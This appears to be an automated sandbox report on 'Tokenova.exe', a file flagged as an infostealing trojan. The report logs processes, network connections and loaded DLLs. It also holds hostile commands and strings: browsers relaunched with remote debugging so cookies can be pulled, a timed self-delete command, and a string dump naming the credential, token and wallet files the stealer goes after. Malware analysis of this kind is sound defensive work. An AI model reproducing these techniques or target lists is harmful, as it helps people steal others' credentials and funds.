Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61491 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61506 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61477 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61618
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61450
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61572
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61452
Source: unknown	Network traffic detected: HTTP traffic on port 61517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61456

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.190.206:443 -> 192.168.2.5:49730 version: TLS 1.2

Source: Tokenova.exe, 00000000.00000000.2124682823.0000000000E9B000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: RegisterRawInputDevices

memstr_fef82fd0-5

Source: Tokenova.exe

Static PE information: invalid certificate

Source: Tokenova.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: Tokenova.exe	Binary string: iCreateDXGIFactorydxgi.dll.dllInstalledDisplayDriversSYSTEM\CurrentControlSetHARDWARE\DEVICEMAP\VIDEO\Device\Video0vgaHardwareInformation.MemorySizefallbackregistryDXGI
Source: Tokenova.exe	Binary string: \Device\Video0

Source: classification engine

Classification label: mal100.troj.spyw.winEXE@67/265@24/23

Source: C:\Users\user\Desktop\Tokenova.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\FQZUEDER.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8564:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\2ec04771-b17c-42b5-9554-d26ef1f13bfd.tmp

Jump to behavior

Source: Tokenova.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Tokenova.exe

File read: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Tokenova.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: chrome.exe, 00000003.00000002.2428466288.0000134400717000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: Tokenova.exe, 00000000.00000003.2468918547.0000000004BCF000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2467567027.0000000004BCB000.00000004.00000020.00020000.00000000.sdmp, v3w4euaie.0.dr, asr90rq1d.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Tokenova.exe	String found in binary or memory: Hidden/TerrainEngine/Splatmap/Diffuse-AddPass
Source: Tokenova.exe	String found in binary or memory: Hidden/TerrainEngine/Splatmap/Lightmap-AddPass
Source: Tokenova.exe	String found in binary or memory: Keywords used in project now:LOD_FADE_CROSSFADELOD_FADE_PERCENTAGEENABLE_LOD_FADEHDR_LIGHT_PREPASS_ONVERTEXLIGHT_ON_EMISSIONFOG_EXP2FOG_EXPFOG_LINEARDYNAMICLIGHTMAP_ONDYNAMICLIGHTMAP_OFFDIRLIGHTMAP_SEPARATEDIRLIGHTMAP_COMBINEDDIRLIGHTMAP_OFFLIGHTMAP_ONLIGHTMAP_OFFSHADOWS_SINGLE_CASCADESHADOWS_NATIVESHADOWS_SPLIT_SPHERESSHADOWS_SOFTSHADOWS_CUBESHADOWS_SCREENSHADOWS_DEPTHSHADOWS_OFFPOINT_COOKIEPOINTDIRECTIONAL_COOKIEDIRECTIONALSPOTHidden/TerrainEngine/Splatmap/Diffuse-AddPassHidden/TerrainEngine/Splatmap/Lightmap-AddPassNature/Terrain/DiffuseHidden/TerrainEngine/Splatmap/Lightmap-FirstPass Decal Diffuse (fast) DiffuseDetailParallaxBump/IlluminSpecularParallaxBump/IlluminDiffuseSelf-Illumin/BumpedSpecularSelf-Illumin/BumpedSelf-Illumin/GlossyLegacy Shaders/Diffuse FastDiffuse FastLightmapped/Bumped SpecularLightmapped/Bumped DiffuseLightmapped/SpecularLegacy Shaders/Lightmapped/DiffuseLightmapped/DiffuseLegacy Shaders/Lightmapped/VertexLitLightmapped/VertexLitLegacy Shaders/Lightmapped/Bumped SpecularLightmapped/BumpedSpecularLegacy Shaders/Lightmapped/Bumped DiffuseLightmapped/BumpedLegacy Shaders/Lightmapped/SpecularLightmapped/GlossyParallaxBump/ReflectSpecularParallaxBump/ReflectDiffuseReflective/BumpedSpecularReflective/BumpedReflective/GlossyParallaxBump/AlphaSpecularParallaxBump/AlphaDiffuseAlpha/BumpedSpecularAlpha/BumpedAlpha/GlossyAlpha/DiffuseAlpha/VertexLitParallaxBump/SpecularParallaxBump/Diffuse BumpedSpecular Bumped Glossy Diffuse VertexLitSkybox/6 SidedRenderFX/SkyboxSkybox/CubemapRenderFX/Skybox CubedLegacy Shaders/Transparent/Cutout/Bumped DiffuseTransparent/Cutout/Bumped DiffuseLegacy Shaders/Transparent/Cutout/Bumped SpecularTransparent/Cutout/Bumped SpecularLegacy Shaders/Transparent/Cutout/DiffuseTransparent/Cutout/DiffuseLegacy Shaders/Transparent/Cutout/SpecularTransparent/Cutout/SpecularLegacy Shaders/Transparent/Cutout/Soft Edge UnlitTransparent/Cutout/Soft Edge UnlitLegacy Shaders/Transparent/Cutout/VertexLitTransparent/Cutout/VertexLitLegacy Shaders/Transparent/Bumped SpecularTransparent/Bumped SpecularLegacy Shaders/Transparent/DiffuseTransparent/DiffuseLegacy Shaders/Transparent/SpecularTransparent/SpecularLegacy Shaders/Transparent/Parallax DiffuseTransparent/Parallax DiffuseLegacy Shaders/Transparent/Parallax SpecularTransparent/Parallax SpecularLegacy Shaders/Transparent/VertexLitTransparent/VertexLitLegacy Shaders/Transparent/Bumped DiffuseTransparent/Bumped DiffuseLegacy Shaders/Self-Illumin/VertexLitSelf-Illumin/VertexLitLegacy Shaders/Self-Illumin/Bumped SpecularSelf-Illumin/Bumped SpecularLegacy Shaders/Self-Illumin/DiffuseSelf-Illumin/DiffuseLegacy Shaders/Self-Illumin/SpecularSelf-Illumin/SpecularLegacy Shaders/Self-Illumin/Parallax DiffuseSelf-Illumin/Parallax DiffuseLegacy Shaders/Self-Illumin/Parallax SpecularSelf-Illumin/Parallax SpecularLegacy Shaders/Self-Illumin/Bumped DiffuseSelf-Illumin/Bumped DiffuseLegacy Shaders/Reflective/Bumped UnlitReflective/Bumped UnlitLegacy Shaders/Reflective/Bumped Specular
Source: Tokenova.exe	String found in binary or memory: Hidden/TerrainEngine/Splatmap/Specular-AddPass
Source: Tokenova.exe	String found in binary or memory: Hidden/TerrainEngine/Splatmap/Standard-AddPass
Source: Tokenova.exe	String found in binary or memory: ?PPtr<TerrainData>Nature/Terrain/SpecularHidden/TerrainEngine/Splatmap/Specular-AddPassHidden/TerrainEngine/Splatmap/Specular-BaseNature/Terrain/StandardHidden/TerrainEngine/Splatmap/Standard-AddPass
Source: Tokenova.exe	String found in binary or memory: set-addPolicy
Source: Tokenova.exe	String found in binary or memory: id-cmc-addExtensions

Source: unknown	Process created: C:\Users\user\Desktop\Tokenova.exe "C:\Users\user\Desktop\Tokenova.exe"
Source: C:\Users\user\Desktop\Tokenova.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2460 --field-trial-handle=1216,i,9325567259167170943,13353652887084934896,262144 /prefetch:8
Source: C:\Users\user\Desktop\Tokenova.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2572 --field-trial-handle=2504,i,13536360286798907738,8748561752337000237,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2988 --field-trial-handle=2068,i,11351998689628914770,5960412982263552358,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7008 --field-trial-handle=2068,i,11351998689628914770,5960412982263552358,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7176 --field-trial-handle=2068,i,11351998689628914770,5960412982263552358,262144 /prefetch:8
Source: C:\Users\user\Desktop\Tokenova.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\89r1v" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7216 --field-trial-handle=2068,i,11351998689628914770,5960412982263552358,262144 /prefetch:8
Source: C:\Users\user\Desktop\Tokenova.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\89r1v" & exit	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2460 --field-trial-handle=1216,i,9325567259167170943,13353652887084934896,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2572 --field-trial-handle=2504,i,13536360286798907738,8748561752337000237,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2988 --field-trial-handle=2068,i,11351998689628914770,5960412982263552358,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7008 --field-trial-handle=2068,i,11351998689628914770,5960412982263552358,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7176 --field-trial-handle=2068,i,11351998689628914770,5960412982263552358,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7216 --field-trial-handle=2068,i,11351998689628914770,5960412982263552358,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: hid.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: opengl32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: glu32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll

Source: C:\Users\user\Desktop\Tokenova.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Tokenova.exe

Static PE information: More than 3292 > 100 exports found

Source: Tokenova.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Tokenova.exe

Static file information: File size 687242557 > 1048576

Source: Tokenova.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0xc09400
Source: Tokenova.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x1f0e00

Source: Tokenova.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Tokenova.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: A{"id":1,"method":"Storage.getCookies"}\|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d %d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local 